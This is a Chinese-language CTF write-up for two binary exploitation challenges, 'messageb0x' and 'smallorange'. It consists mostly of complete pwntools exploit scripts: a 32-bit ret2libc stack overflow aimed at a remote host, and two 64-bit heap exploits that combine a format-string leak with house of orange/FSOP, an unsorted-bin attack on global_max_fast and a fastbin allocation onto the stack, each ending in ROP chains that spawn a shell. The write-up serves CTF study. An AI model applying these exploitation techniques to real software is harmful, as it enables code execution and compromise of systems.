题目链接
messageb0x
- 教科书般的32位栈溢出(不懂得可以看一步一步学rop 32位),首先rop利用puts函数泄漏puts真实地址得到libc基址,然后得到system地址,/bin/sh地址再rop到有溢出地方执行system('/bin/sh\x00')
exp:
from pwn import *
context.log_level = 'debug'
#p = process('./messageb0x')
p = remote('101.71.29.5',10000)
def stack_overflow(payload):
p.recvuntil(' are:\n')
p.sendline('1')
p.recvuntil('address:\n')
p.sendline('1')
p.recvuntil('say:\n')
p.sendline(payload)
elf = ELF('./messageb0x')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload = 'a'*0x58 + 'bbbb'
payload += p32(puts_plt) + p32(0x0804923B)
payload += p32(puts_got)
stack_overflow(payload)
p.recvuntil('you !\n')
puts_addr = u32(p.recv(4))
log.success('puts addr : 0x%x'%puts_addr)
# offset_puts = 0x0005fca0
# offset_system = 0x0003ada0
# offset_str_bin_sh = 0x15ba0b
offset_puts = 0x0005f140
offset_system = 0x0003a940
offset_str_bin_sh = 0x15902b
libc_base = puts_addr - offset_puts
log.success('libc addr : 0x%x'%libc_base)
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh
payload = 'a'*0x58 + 'bbbb'
payload += p32(system_addr) + p32(0xdeadbeef)
payload += p32(binsh_addr)
stack_overflow(payload)
p.interactive()
smallorange
- 这题感觉质量挺好的,让我学到了挺多骚操作的包括house_of_orange,一开始发现程序有个edit函数但是没有被调用,还以为作者搞错了(233333),然后程序还有个格式化字符串漏洞,数组下界溢出(这题并没有利用到)
- 预期解(直接copy官方的wp):
- 通过格式化字符串漏洞修改控制输入堆块数据大小的size变量,从而为后续构造堆溢出,并泄露栈地址。
- 通过之前构造的size,可以触发堆溢出,但是由于题目逻辑限制,无法直接达到任意地址写。只能使用the house of orange(这里的demo写的很清晰)进行攻击。
- 由于题目没有信息泄露的地方,唯一知道的是程序运行开始时打印的堆地址和泄露的栈地址,无法获得lib库加载的基地址,但是_IO_list_all变量与malloc 使用area变量相近,根据_IO_list_all变量的在lib库的偏移可以大致确定其加载地址,通过覆盖unsorted bin的bk的两个字节,这样会有十六分之一的几率将bk覆盖为_IO_list_all-0x10,从而利用the house of orange 劫持控制流。
- 劫持控制流后,由于无法获得system地址,则通过将rip设为edit函数,并将其参数设为栈地址,这样可以向栈中写入rop连,通过rop泄露puts函数地址,计算system地址,改atoi_got为system执行system('/bin/sh\x00')
exp1(本地关了aslr):
from pwn import *
context.log_level = 'debug'
p = process(argv=['./smallorange','a'*0x1000])
#p = process('./smallorange',env={'123'*0x1000:'a'*0x1000})
def new(data):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('text:\n')
p.send(data)
def out(index):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('index:\n')
p.sendline(str(index))
#use fmt change size to heapoverflow and leak stack_addr
p.recvuntil('ourselves\n')
p.send('a'*34 + 'a%19$n')
p.recvuntil('a'*35)
leak_stack = u64(p.recv(6).ljust(8,'\x00'))
p.recvuntil('addr:')
leak_heap = int(p.recvuntil('\n',drop=True),16)
log.success('leak stack addr : 0x%x'%leak_stack)
log.success('leak heap addr : 0x%x'%leak_heap)
#FSOP -> edit(stack_addr)
system_addr = 0x7ffff7a52390
edit_addr = 0x400B59
new('aaaa') #0
#fake _IO_FILE
fake_IO_file = p64(0)*2 + p64(2) + p64(3) + p64(0)*9
fake_IO_file += p64(edit_addr)
fake_IO_file += p64(0)*11 + p64(leak_heap+0x270)
new(fake_IO_file) #1
new('cccc') #2
out(0)
out(1)
fake_unsorted_bin = 'a'*0x100 + p64(leak_stack-0x569) + p64(0x61)
fake_unsorted_bin += 'a'*8 + '\x10\x25'
new(fake_unsorted_bin) #3
p.recvuntil('choice: ')
p.sendline('1')
#rop -> write(1,puts_got,8) -> read(0,atoi_got,8) -> getnum
p.recvuntil('index:\n')
elf = ELF('./smallorange')
write_got = elf.got['write']
puts_got = elf.got['puts']
read_got = elf.got['read']
atoi_got = elf.got['atoi']
p6_ret = 0x400C9A
mov_call = 0x400C80
payload = 'a'*48 + p64(p6_ret)
payload += p64(0) + p64(1) + p64(write_got) + p64(0x8) + p64(puts_got) + p64(1)
payload += p64(mov_call) + 'aaaaaaaa'
payload += p64(0) + p64(1) + p64(read_got) + p64(0x8) + p64(atoi_got) + p64(0)
payload += p64(mov_call) + 'a'*56 + p64(0x400AEA)
p.sendline(payload)
#leak libc
puts_addr = u64(p.recv(8))
log.success('puts addr : 0x%x'%puts_addr)
offset_puts = 0x000000000006f690
offset_system = 0x0000000000045390
libc_base = puts_addr - offset_puts
system_addr = libc_base + offset_system
log.success('system addr : 0x%x'%system_addr)
#system('/bin/sh\x00')
p.send(p64(system_addr))
p.recvuntil('index:\n')
p.sendline('/bin/sh\x00')
p.interactive()
- 非预期解(感谢veritas501师傅提供的思路以及耐心解答我的一些问题):
- 通过格式化字符串漏洞修改控制输入堆块数据大小的size变量,从而为后续构造堆溢出,并泄露栈地址。
- 利用堆溢出,由于unsorted bin中bk指针是main_arena+0x58的地址,与global_max_fast只差2字节,所以利用unsorted bin attack来修改global_max_fast
- 然后利用out函数的getnum在栈上fake fastbin,然后alloc to stack,进而stack overflow
- rop泄漏libc然后改atoi函数为system,跳转到getnum函数执行system('/bin/sh\x00')
有些细节需要注意:
- 由于read函数的size太大,到达栈底,所以我们运行程序的时候需要加点argv或者env来扩大栈
- getnum函数的stack_chk_fail并没有被执行所以我们才能stack overflow
- 由于改了global_max_fast后一般只能用fastbin,所以一般改之前free几个堆块进fastbin里方便后面malloc
exp2(本地关了aslr):
from pwn import *
context.log_level = 'debug'
p = process(argv=['./smallorange','a'*0x1000])
#p = process('./smallorange',env={'123'*0x1000:'a'*0x1000})
def new(data):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('text:\n')
p.send(data)
def out(index):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('index:\n')
p.sendline(str(index))
#use fmt change size to heapoverflow and leak stack_addr
p.recvuntil('ourselves\n')
p.send('a'*34 + 'a%19$n')
p.recvuntil('a'*35)
leak_stack = u64(p.recv(6).ljust(8,'\x00'))
p.recvuntil('addr:')
leak_heap = int(p.recvuntil('\n',drop=True),16)
log.success('leak stack addr : 0x%x'%leak_stack)
log.success('leak heap addr : 0x%x'%leak_heap)
#unsorted bin attack to hijack global_max_fast
new('aaaa') #0
new('bbbb') #1
new('cccc') #2
new('1') #3
new('2') #4
new('3') #5
out(0)
out(1)
fake_unsorted_bin = 'a'*0x100 + p64(0x110) + p64(0x111)
fake_unsorted_bin += 'a'*0x8 + '\xe8\x37'
new(fake_unsorted_bin) #6
new('dddd') #7
#fastbin attack to alloc to Stack
fake_chunk_ptr = leak_stack - 89 - 0x8
log.success('fake_chunk_ptr : 0x%x'%fake_chunk_ptr)
out(4)
out(3)
payload = 'a'*0x100 + p64(0) + p64(0x111)
payload += p64(fake_chunk_ptr)
new(payload)
new('eeee')
#fake chunk on stack
out(p64(0x111))
#rop
elf = ELF('./smallorange')
write_got = elf.got['write']
puts_got = elf.got['puts']
read_got = elf.got['read']
atoi_got = elf.got['atoi']
p6_ret = 0x400C9A
mov_call = 0x400C80
payload = 'p'*0x10 + p64(p6_ret)
payload += p64(0) + p64(1) + p64(write_got) + p64(0x8) + p64(puts_got) + p64(1)
payload += p64(mov_call) + 'aaaaaaaa'
payload += p64(0) + p64(1) + p64(read_got) + p64(0x8) + p64(atoi_got) + p64(0)
payload += p64(mov_call) + 'a'*56 + p64(0x400AEA)
new(payload)
#leak libc
puts_addr = u64(p.recv(8))
log.success('puts addr : 0x%x'%puts_addr)
offset_puts = 0x000000000006f690
offset_system = 0x0000000000045390
libc_base = puts_addr - offset_puts
system_addr = libc_base + offset_system
log.success('system addr : 0x%x'%system_addr)
#system('/bin/sh\x00')
p.send(p64(system_addr))
p.recvuntil('index:\n')
p.sendline('/bin/sh\x00')
p.interactive()
house of orange相关文章:
网友评论